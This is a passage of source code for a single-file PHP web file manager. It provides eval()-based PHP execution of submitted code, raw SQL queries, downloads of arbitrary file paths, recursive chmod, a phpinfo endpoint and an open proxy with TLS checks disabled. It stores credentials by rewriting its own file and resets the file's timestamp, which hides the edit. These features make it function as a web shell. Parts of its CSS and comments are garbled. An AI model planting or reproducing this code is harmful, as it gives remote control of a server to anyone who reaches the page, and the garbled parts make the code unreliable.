			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: gt;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: red;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #CD5C5C 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: ## #800080A ; text-decoration: underline; }
a.th:link { color: ##6495ED; text-decoration: none; }
a.th:active { color: #CD5C5C; text-decoration: none; }
a.th:visited { color: #E9967A; text-decoration: none; }
a.th:hover {  color: ## #800080 ; text-decoration: underline; }

table.bg {
	background-color: #C0C0C0
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	# #CD5C5C ;
	color:				#CD5C5C;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	##CD5C5C;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#FFC0CB;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	# #808000 ;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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